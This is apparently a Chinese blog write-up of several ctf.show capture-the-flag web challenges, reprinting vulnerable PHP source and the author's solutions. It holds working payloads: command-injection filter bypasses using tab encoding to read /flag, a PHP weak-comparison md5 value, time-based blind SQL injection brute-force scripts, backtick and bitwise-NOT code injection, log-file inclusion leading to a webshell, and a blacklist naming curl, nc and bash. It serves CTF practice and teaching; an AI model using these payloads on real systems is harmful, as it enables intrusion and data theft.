赞
踩
这个题真的感觉自己没脑子,五一玩傻了。。。。
<?php header('Content-type:text/html;charset=utf-8'); error_reporting(0); highlight_file(__file__); function isPalindrome($str){ $len=strlen($str); $l=1; $k=intval($len/2)+1; for($j=0;$j<$k;$j++) if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) { $l=0; break; } if ($l==1) return true; else return false; } //level 1 if (isset($_GET['num'])){ $num = $_GET['num']; $numPositve = intval($num); $numReverse = intval(strrev($num)); if (preg_match('/[^0-9.-]/', $num)) { die("非洲欢迎你1"); } if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧 die("非洲欢迎你2"); } if( $numPositve === $numReverse && !isPalindrome($num) ){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>"; }else{ die("金钱解决不了穷人的本质问题"); } }else{ die("去非洲吧"); } //level 2 if (isset($_GET['md5'])){ $md5=$_GET['md5']; if ($md5==md5(md5($md5))) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>"; else die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲"); }else{ die("去非洲吧"); } //get flag if (isset($_GET['get_flag'])){ $get_flag = $_GET['get_flag']; if(!strstr($get_flag," ")){ $get_flag = str_ireplace("cat", "36dCTFShow", $get_flag); $get_flag = str_ireplace("more", "36dCTFShow", $get_flag); $get_flag = str_ireplace("tail", "36dCTFShow", $get_flag); $get_flag = str_ireplace("less", "36dCTFShow", $get_flag); $get_flag = str_ireplace("head", "36dCTFShow", $get_flag); $get_flag = str_ireplace("tac", "36dCTFShow", $get_flag); $get_flag = str_ireplace("$", "36dCTFShow", $get_flag); $get_flag = str_ireplace("sort", "36dCTFShow", $get_flag); $get_flag = str_ireplace("curl", "36dCTFShow", $get_flag); $get_flag = str_ireplace("nc", "36dCTFShow", $get_flag); $get_flag = str_ireplace("bash", "36dCTFShow", $get_flag); $get_flag = str_ireplace("php", "36dCTFShow", $get_flag); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>"; system($get_flag); }else{ die("快到非洲了"); } }else{ die("去非洲吧"); } ?> 去非洲吧
要求输入的字符不是回文,但是intval($num) = intval(strrev($num));
因为intval的特性,level1就有很多方法绕过了
举几个例子
-0, 0- , 1.10 , 0. , .0 ,0.00
要求$md5==md5(md5($md5))
根据php弱类型比较的漏洞,直接跑脚本使得
0e连接上一个数构成的字符串,进行两次md5之后依然是0e开头
import hashlib
def md5(s):
return hashlib.md5(s.encode()).hexdigest()
for i in range(10**30):
i='0e'+str(i)
result=md5(md5(i))
if result[0:2]=='0e' and result[2:].isnumeric():
print(i)
跑了大概一个半小时 结果是0e1138100474
level3
过滤了空格可以用%09代替
/?num=-0&md5=0e1138100474&get_flag=nl%09/flag
和上面那个差不多
?num=0.00&md5=0e1138100474&get_flag=n\l%09flag.ph\p
又是拓宽自己思维的一道题
利用黑名单。。。。
?code=`$_[13]$_[18]`
?code=`$_[12]$_[13]%20/*`
username=admin\&password=or(sleep(3))#
没有过滤if可以使用时间盲注,但是过滤了substr和ascii,mid,我们可以right,left,ord代替,
我刚开始用的这个原先的脚本,然后跑出来都是小写的,然后不能登,后面like那加上binary区分大小写,然后跑出的密码就可以了。。
import requests import time url="http://942e823f-7c7d-4acd-8af9-736830b063eb.challenge.ctf.show:8080/" flag="" s="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890-_{}" for i in range(1,100): for j in s: z=flag+j payload='or(if((left(password,100)like(binary("{}%"))),sleep(3),0))#'.format(z) print(payload) data={ 'username':"admin\\", 'password':payload } time1=time.time() r=requests.post(url,data=data) time2=time.time() if time2-time1>2.5: flag+=j print(time2-time1) print(flag) break
过滤了双引号 的话就用16进制绕就好了
还有一个另一个版本的
原理的话就是从右边开始读,然后字符串转化为ascii,其中ASCII的值为第一个字符的ASCII值
然后ASCII相等就加到flag上,因为是从右到左,所以最后的值再逆置一下就好了
import requests import time url="http://07424c07-083b-4eb8-8e52-65972e8147a4.challenge.ctf.show:8080/" k="}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_{" flag="" for i in range(1,100): print(i) for j in k: j=ord(j) data={ 'username':'admin\\', 'password':'or(if(ord(right(password,{0}))like({1}),sleep(2),0))#'.format(i,j) } print(data['password']) time1=time.time() r=requests.post(url,data=data) time2=time.time() if time2-time1>1.9: flag+=chr(j) print(flag) break
然后扫了bak泄露
之前一直没看到这句话,再index.php搞了半天,ccccc
解法1:日志文件包含
因为是nginx的日志文件在 /var/log/nginx/access.log
然后蚂剑连接,/flag里是假的。。。
但是提示了真的在/etc里。
然后打开虚拟终端
然后用grep命令
<?php //It's no need to use scanner. Of course if you want, but u will find nothing. error_reporting(0); include "config.php"; if (isset($_GET['view_source'])) { show_source(__FILE__); die; } function checkCookie($s) { $arr = explode(':', $s); if ($arr[0] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) { return true; } else { if ( !theFirstTimeSetCookie() ) setcookie('secret', '', time()-1); return false; } } function haveFun($_f_g) { $_g_r = 32; $_m_u = md5($_f_g); $_h_p = strtoupper($_m_u); for ($i = 0; $i < $_g_r; $i++) { $_i = substr($_h_p, $i, 1); $_i = ord($_i); print_r($_i & 0xC0); } die; } isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 ); checkCookie($json) ? $obj = @json_decode($json, true) : die('no'); if ($obj && isset($_GET['give_me_shell'])) { ($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path"; } die;
右键查看网页源代码得到php源码
目的很简单,输入的secret的md5是$flag的md5
但是题目用的弱比较
在网站上输入?give_me_shell
得到了 $flag的逐位与0xC0与的结果,其中为0的则代表md5值为0-9中的,为64的则代表是a-f中的
因为前三位均为0说明 $flag的md5的前三位为数字第四位为字母,
那我们直接爆破即可了
这个是为什么0的则代表md5值为0-9中的,为64的则代表是a-f。
然后是个弱比较,搞出前面的数字就可以了
import requests
import sys
url="http://7ec57953-babb-48a8-818e-e5d1dcfcac94.challenge.ctf.show:8080/index.php?give_me_shell"
for i in range(1,10):
for j in range(1,10):
for k in range(1,10):
headers = {
'cookie':'secret={"secret": '+str(i)+str(j)+str(k)+'}'
}
r=requests.post(url,headers = headers)
if "0006464640064064646464006406464064640064006400000000000" not in r.text:
print(headers['cookie'])
sys.exit()
得到115,所以直接修改cookie中secret的值为{“secret”:115}即可
得到 w3b5HeLLlll123.php,访问发现又是一个代码审计
通过测试发现过滤了单双引号,括号,反引号,字符 f 以及一些常用函数,既然题目提示我们 flag在 /flag.txt中,那个就应该是要读取文件内容了,既然括号不能用,那就只有使用几个不需要括号的函数了 比如 echo require,因为反引号过滤了,显然echo没有价值了,那个就只有 require了。
题目中没有过滤掉~,那个我们就可以构造文件名
首先读取 /flag.txt中的内容
?code=]=1?><?=require~%d0%99%93%9e%98%d1%8b%87%8b?>
提示flag在/flag中
payload:?code=]=1?><?=require~%d0%99%93%9e%98?>
又涨知识了。。一句话的时候可以用?>结尾,就不用分号;绕过过滤。。。
赞
踩
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。